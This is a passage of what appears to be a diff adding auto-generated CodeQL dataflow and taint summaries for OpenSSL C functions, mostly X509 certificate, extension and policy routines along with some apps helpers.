"", "Argument[*0].Field[**aux].Field[*trust]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_get0_uids", "(const X509 *,const ASN1_BIT_STRING **,const ASN1_BIT_STRING **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "X509_get0_uids", "(const X509 *,const ASN1_BIT_STRING **,const ASN1_BIT_STRING **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "X509_get0_uids", "(const X509 *,const ASN1_BIT_STRING **,const ASN1_BIT_STRING **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "X509_get0_uids", "(const X509 *,const ASN1_BIT_STRING **,const ASN1_BIT_STRING **)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "X509_get_X509_PUBKEY", "(const X509 *)", "", "Argument[*0].Field[*cert_info].Field[**key]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_get_X509_PUBKEY", "(const X509 *)", "", "Argument[*0].Field[*cert_info].Field[*key]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_get_ex_data", "(const X509 *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_get_ext", "(const X509 *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_get_ext_by_NID", "(const X509 *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_get_ext_by_OBJ", "(const X509 *,const ASN1_OBJECT *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_get_ext_by_critical", "(const X509 *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_get_ext_d2i", "(const X509 *,int,int *,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "X509_get_extended_key_usage", "(X509 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_get_extended_key_usage", "(X509 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_get_extension_flags", "(X509 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_get_extension_flags", "(X509 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_get_issuer_name", "(const X509 *)", "", "Argument[*0].Field[*cert_info].Field[**issuer]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_get_issuer_name", "(const X509 *)", "", "Argument[*0].Field[*cert_info].Field[*issuer]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_get_key_usage", "(X509 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_get_key_usage", "(X509 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_get_pathlen", "(X509 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_get_pathlen", "(X509 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_get_proxy_pathlen", "(X509 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_get_proxy_pathlen", "(X509 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_get_pubkey_parameters", "(EVP_PKEY *,stack_st_X509 *)", "", "Argument[*1].Field[**data]", "Argument[*1].Field[***data]", "taint", "dfc-generated"] + - ["", "", True, "X509_get_serialNumber", "(X509 *)", "", "Argument[*0].Field[*cert_info].Field[*serialNumber]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_get_signature_info", "(X509 *,int *,int *,int *,uint32_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "X509_get_signature_info", "(X509 *,int *,int *,int *,uint32_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "X509_get_signature_info", "(X509 *,int *,int *,int *,uint32_t *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "X509_get_signature_info", "(X509 *,int *,int *,int *,uint32_t *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "X509_get_signature_info", "(X509 *,int *,int *,int *,uint32_t *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_get_signature_info", "(X509 *,int *,int *,int *,uint32_t *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_get_subject_name", "(const X509 *)", "", "Argument[*0].Field[*cert_info].Field[**subject]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_get_subject_name", "(const X509 *)", "", "Argument[*0].Field[*cert_info].Field[*subject]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_gmtime_adj", "(ASN1_TIME *,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "X509_gmtime_adj", "(ASN1_TIME *,long)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_issuer_and_serial_cmp", "(const X509 *,const X509 *)", "", "Argument[*0].Field[*cert_info].Field[*issuer]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_issuer_and_serial_cmp", "(const X509 *,const X509 *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_issuer_name_cmp", "(const X509 *,const X509 *)", "", "Argument[*1].Field[*cert_info].Field[**issuer]", "Argument[*1].Field[*cert_info].Field[*issuer]", "value", "dfc-generated"] + - ["", "", True, "X509_issuer_name_hash", "(X509 *)", "", "Argument[*0].Field[*cert_info].Field[**issuer]", "Argument[*0].Field[*cert_info].Field[*issuer]", "value", "dfc-generated"] + - ["", "", True, "X509_issuer_name_hash_old", "(X509 *)", "", "Argument[*0].Field[*cert_info].Field[**issuer]", "Argument[*0].Field[*cert_info].Field[*issuer]", "value", "dfc-generated"] + - ["", "", True, "X509_load_http", "(const char *,BIO *,BIO *,int)", "", "Argument[*1]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "X509_load_http", "(const char *,BIO *,BIO *,int)", "", "Argument[*2]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "X509_load_http", "(const char *,BIO *,BIO *,int)", "", "Argument[1]", "Argument[*1].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "X509_load_http", "(const char *,BIO *,BIO *,int)", "", "Argument[1]", "Argument[*2].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "X509_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "X509_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "X509_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "X509_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "X509_policy_check", "(X509_POLICY_TREE **,int *,stack_st_X509 *,stack_st_ASN1_OBJECT *,unsigned int)", "", "Argument[*2].Field[*num]", "Argument[**0].Field[*nlevel]", "taint", "dfc-generated"] + - ["", "", True, "X509_policy_level_get0_node", "(const X509_POLICY_LEVEL *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_policy_level_node_count", "(X509_POLICY_LEVEL *)", "", "Argument[*0].Field[**nodes].Field[*num]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_policy_node_get0_parent", "(const X509_POLICY_NODE *)", "", "Argument[*0].Field[**parent]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_policy_node_get0_parent", "(const X509_POLICY_NODE *)", "", "Argument[*0].Field[*parent]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_policy_node_get0_policy", "(const X509_POLICY_NODE *)", "", "Argument[*0].Field[**data].Field[**valid_policy]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_policy_node_get0_policy", "(const X509_POLICY_NODE *)", "", "Argument[*0].Field[**data].Field[*valid_policy]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_policy_node_get0_qualifiers", "(const X509_POLICY_NODE *)", "", "Argument[*0].Field[**data].Field[**qualifier_set]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_policy_node_get0_qualifiers", "(const X509_POLICY_NODE *)", "", "Argument[*0].Field[**data].Field[*qualifier_set]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_policy_tree_get0_level", "(const X509_POLICY_TREE *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_policy_tree_get0_level", "(const X509_POLICY_TREE *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "X509_policy_tree_get0_policies", "(const X509_POLICY_TREE *)", "", "Argument[*0].Field[**auth_policies]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_policy_tree_get0_policies", "(const X509_POLICY_TREE *)", "", "Argument[*0].Field[*auth_policies]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_policy_tree_get0_user_policies", "(const X509_POLICY_TREE *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_policy_tree_get0_user_policies", "(const X509_POLICY_TREE *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_policy_tree_level_count", "(const X509_POLICY_TREE *)", "", "Argument[*0].Field[*nlevel]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_print", "(BIO *,X509 *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "X509_print_ex", "(BIO *,X509 *,unsigned long,unsigned long)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "X509_self_signed", "(X509 *,int)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_set0_distinguishing_id", "(X509 *,ASN1_OCTET_STRING *)", "", "Argument[*1]", "Argument[*0].Field[**distinguishing_id]", "value", "dfc-generated"] + - ["", "", True, "X509_set0_distinguishing_id", "(X509 *,ASN1_OCTET_STRING *)", "", "Argument[1]", "Argument[*0].Field[*distinguishing_id]", "value", "dfc-generated"] + - ["", "", True, "X509_set_issuer_name", "(X509 *,const X509_NAME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "X509_set_proxy_pathlen", "(X509 *,long)", "", "Argument[1]", "Argument[*0].Field[*ex_pcpathlen]", "value", "dfc-generated"] + - ["", "", True, "X509_set_subject_name", "(X509 *,const X509_NAME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "X509_sign", "(X509 *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_sign_ctx", "(X509 *,EVP_MD_CTX *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "X509_subject_name_cmp", "(const X509 *,const X509 *)", "", "Argument[*1].Field[*cert_info].Field[**subject]", "Argument[*1].Field[*cert_info].Field[*subject]", "value", "dfc-generated"] + - ["", "", True, "X509_subject_name_hash", "(X509 *)", "", "Argument[*0].Field[*cert_info].Field[**subject]", "Argument[*0].Field[*cert_info].Field[*subject]", "value", "dfc-generated"] + - ["", "", True, "X509_subject_name_hash_old", "(X509 *)", "", "Argument[*0].Field[*cert_info].Field[**subject]", "Argument[*0].Field[*cert_info].Field[*subject]", "value", "dfc-generated"] + - ["", "", True, "X509_time_adj", "(ASN1_TIME *,long,time_t *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "X509_time_adj", "(ASN1_TIME *,long,time_t *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_time_adj", "(ASN1_TIME *,long,time_t *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "X509_time_adj_ex", "(ASN1_TIME *,int,long,time_t *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "X509_time_adj_ex", "(ASN1_TIME *,int,long,time_t *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_time_adj_ex", "(ASN1_TIME *,int,long,time_t *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "X509_to_X509_REQ", "(X509 *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509at_add1_attr", "(stack_st_X509_ATTRIBUTE **,X509_ATTRIBUTE *)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "X509at_add1_attr", "(stack_st_X509_ATTRIBUTE **,X509_ATTRIBUTE *)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509at_add1_attr", "(stack_st_X509_ATTRIBUTE **,X509_ATTRIBUTE *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "X509at_add1_attr", "(stack_st_X509_ATTRIBUTE **,X509_ATTRIBUTE *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "X509at_add1_attr", "(stack_st_X509_ATTRIBUTE **,X509_ATTRIBUTE *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509at_add1_attr_by_NID", "(stack_st_X509_ATTRIBUTE **,int,int,const unsigned char *,int)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "X509at_add1_attr_by_NID", "(stack_st_X509_ATTRIBUTE **,int,int,const unsigned char *,int)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509at_add1_attr_by_NID", "(stack_st_X509_ATTRIBUTE **,int,int,const unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "X509at_add1_attr_by_NID", "(stack_st_X509_ATTRIBUTE **,int,int,const unsigned char *,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509at_add1_attr_by_OBJ", "(stack_st_X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "X509at_add1_attr_by_OBJ", "(stack_st_X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509at_add1_attr_by_OBJ", "(stack_st_X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "X509at_add1_attr_by_OBJ", "(stack_st_X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509at_add1_attr_by_txt", "(stack_st_X509_ATTRIBUTE **,const char *,int,const unsigned char *,int)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "X509at_add1_attr_by_txt", "(stack_st_X509_ATTRIBUTE **,const char *,int,const unsigned char *,int)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509at_add1_attr_by_txt", "(stack_st_X509_ATTRIBUTE **,const char *,int,const unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "X509at_add1_attr_by_txt", "(stack_st_X509_ATTRIBUTE **,const char *,int,const unsigned char *,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509at_delete_attr", "(stack_st_X509_ATTRIBUTE *,int)", "", "Argument[1]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "X509at_delete_attr", "(stack_st_X509_ATTRIBUTE *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509at_delete_attr", "(stack_st_X509_ATTRIBUTE *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "X509at_get_attr", "(const stack_st_X509_ATTRIBUTE *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509at_get_attr_by_NID", "(const stack_st_X509_ATTRIBUTE *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509at_get_attr_by_OBJ", "(const stack_st_X509_ATTRIBUTE *,const ASN1_OBJECT *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509at_get_attr_count", "(const stack_st_X509_ATTRIBUTE *)", "", "Argument[*0].Field[*num]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509v3_add_ext", "(stack_st_X509_EXTENSION **,X509_EXTENSION *,int)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "X509v3_add_ext", "(stack_st_X509_EXTENSION **,X509_EXTENSION *,int)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509v3_add_ext", "(stack_st_X509_EXTENSION **,X509_EXTENSION *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "X509v3_add_ext", "(stack_st_X509_EXTENSION **,X509_EXTENSION *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "X509v3_add_ext", "(stack_st_X509_EXTENSION **,X509_EXTENSION *,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509v3_add_extensions", "(stack_st_X509_EXTENSION **,const stack_st_X509_EXTENSION *)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "X509v3_add_extensions", "(stack_st_X509_EXTENSION **,const stack_st_X509_EXTENSION *)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509v3_add_extensions", "(stack_st_X509_EXTENSION **,const stack_st_X509_EXTENSION *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "X509v3_add_extensions", "(stack_st_X509_EXTENSION **,const stack_st_X509_EXTENSION *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509v3_addr_get_afi", "(const IPAddressFamily *)", "", "Argument[*0].Field[**addressFamily].Field[**data]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509v3_addr_get_afi", "(const IPAddressFamily *)", "", "Argument[*0].Field[**addressFamily].Field[*data]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509v3_addr_get_range", "(IPAddressOrRange *,const unsigned int,unsigned char *,unsigned char *,const int)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "X509v3_addr_get_range", "(IPAddressOrRange *,const unsigned int,unsigned char *,unsigned char *,const int)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "X509v3_addr_validate_resource_set", "(stack_st_X509 *,IPAddrBlocks *,int)", "", "Argument[*0].Field[***data].Field[**rfc3779_addr]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "X509v3_addr_validate_resource_set", "(stack_st_X509 *,IPAddrBlocks *,int)", "", "Argument[*0].Field[***data].Field[*rfc3779_addr]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "X509v3_addr_validate_resource_set", "(stack_st_X509 *,IPAddrBlocks *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "X509v3_asid_validate_resource_set", "(stack_st_X509 *,ASIdentifiers *,int)", "", "Argument[*0].Field[***data].Field[**rfc3779_asid]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "X509v3_delete_ext", "(stack_st_X509_EXTENSION *,int)", "", "Argument[1]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "X509v3_delete_ext", "(stack_st_X509_EXTENSION *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509v3_delete_ext", "(stack_st_X509_EXTENSION *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "X509v3_get_ext", "(const stack_st_X509_EXTENSION *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509v3_get_ext_by_NID", "(const stack_st_X509_EXTENSION *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509v3_get_ext_by_OBJ", "(const stack_st_X509_EXTENSION *,const ASN1_OBJECT *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509v3_get_ext_by_critical", "(const stack_st_X509_EXTENSION *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509v3_get_ext_count", "(const stack_st_X509_EXTENSION *)", "", "Argument[*0].Field[*num]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X9_62_CHARACTERISTIC_TWO_free", "(X9_62_CHARACTERISTIC_TWO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X9_62_CHARACTERISTIC_TWO_free", "(X9_62_CHARACTERISTIC_TWO *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X9_62_PENTANOMIAL_free", "(X9_62_PENTANOMIAL *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X9_62_PENTANOMIAL_free", "(X9_62_PENTANOMIAL *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "_CONF_add_string", "(CONF *,CONF_VALUE *,CONF_VALUE *)", "", "Argument[*1].Field[**section]", "Argument[*2].Field[**section]", "value", "dfc-generated"] + - ["", "", True, "_CONF_add_string", "(CONF *,CONF_VALUE *,CONF_VALUE *)", "", "Argument[*1].Field[*section]", "Argument[*2].Field[*section]", "value", "dfc-generated"] + - ["", "", True, "_CONF_new_section", "(CONF *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**section]", "value", "dfc-generated"] + - ["", "", True, "_CONF_new_section", "(CONF *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**section]", "taint", "dfc-generated"] + - ["", "", True, "__cmsg_nxthdr", "(msghdr *,cmsghdr *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "__cmsg_nxthdr", "(msghdr *,cmsghdr *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "__cmsg_nxthdr", "(msghdr *,cmsghdr *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "__cmsg_nxthdr", "(msghdr *,cmsghdr *)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "a2d_ASN1_OBJECT", "(unsigned char *,int,const char *,int)", "", "Argument[*2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "a2d_ASN1_OBJECT", "(unsigned char *,int,const char *,int)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "a2i_GENERAL_NAME", "(GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,int,const char *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "a2i_GENERAL_NAME", "(GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,int,const char *,int)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "a2i_GENERAL_NAME", "(GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,int,const char *,int)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "a2i_GENERAL_NAME", "(GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,int,const char *,int)", "", "Argument[3]", "Argument[*0].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "a2i_GENERAL_NAME", "(GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,int,const char *,int)", "", "Argument[3]", "ReturnValue[*].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "a2i_IPADDRESS", "(const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "a2i_IPADDRESS", "(const char *)", "", "Argument[0]", "ReturnValue[*].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "a2i_IPADDRESS_NC", "(const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "a2i_IPADDRESS_NC", "(const char *)", "", "Argument[0]", "ReturnValue[*].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "add_certbag", "(PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *)", "", "Argument[*1]", "Argument[1]", "taint", "dfc-generated"] + - ["", "", True, "add_certbag", "(PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *)", "", "Argument[2]", "Argument[1]", "taint", "dfc-generated"] + - ["", "", True, "add_keybag", "(PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *,const PKCS12_ENC *)", "", "Argument[*1]", "Argument[1]", "taint", "dfc-generated"] + - ["", "", True, "add_keybag", "(PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *,const PKCS12_ENC *)", "", "Argument[2]", "Argument[1]", "taint", "dfc-generated"] + - ["", "", True, "add_secretbag", "(PKCS12_BUILDER *,int,const char *,const PKCS12_ATTR *)", "", "Argument[3]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "app_http_get_asn1", "(const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,long,const char *,const ASN1_ITEM *)", "", "Argument[*7]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "app_http_get_asn1", "(const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,long,const char *,const ASN1_ITEM *)", "", "Argument[*7]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "app_http_post_asn1", "(const char *,const char *,const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,const char *,ASN1_VALUE *,const ASN1_ITEM *,const char *,long,const ASN1_ITEM *)", "", "Argument[*12]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "app_http_post_asn1", "(const char *,const char *,const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,const char *,ASN1_VALUE *,const ASN1_ITEM *,const char *,long,const ASN1_ITEM *)", "", "Argument[*12]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "app_http_post_asn1", "(const char *,const char *,const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,const char *,ASN1_VALUE *,const ASN1_ITEM *,const char *,long,const ASN1_ITEM *)", "", "Argument[*8]", "Argument[8]", "value", "df-generated"] + - ["", "", True, "app_http_post_asn1", "(const char *,const char *,const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,const char *,ASN1_VALUE *,const ASN1_ITEM *,const char *,long,const ASN1_ITEM *)", "", "Argument[*9]", "Argument[8]", "taint", "df-generated"] + - ["", "", True, "app_http_tls_cb", "(BIO *,void *,int,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "app_http_tls_cb", "(BIO *,void *,int,int)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "app_http_tls_cb", "(BIO *,void *,int,int)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "app_http_tls_cb", "(BIO *,void *,int,int)", "", "Argument[0]", "ReturnValue[*].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "app_keygen", "(EVP_PKEY_CTX *,const char *,int,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "app_paramgen", "(EVP_PKEY_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "app_params_free", "(OSSL_PARAM *)", "", "Argument[0]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "app_params_new_from_opts", "(stack_st_OPENSSL_STRING *,const OSSL_PARAM *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "app_params_new_from_opts", "(stack_st_OPENSSL_STRING *,const OSSL_PARAM *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "app_params_new_from_opts", "(stack_st_OPENSSL_STRING *,const OSSL_PARAM *)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "app_passwd", "(const char *,const char *,char **,char **)", "", "Argument[*0]", "Argument[**2]", "value", "dfc-generated"] + - ["", "", True, "app_passwd", "(const char *,const char *,char **,char **)", "", "Argument[*1]", "Argument[**3]", "value", "dfc-generated"] + - ["", 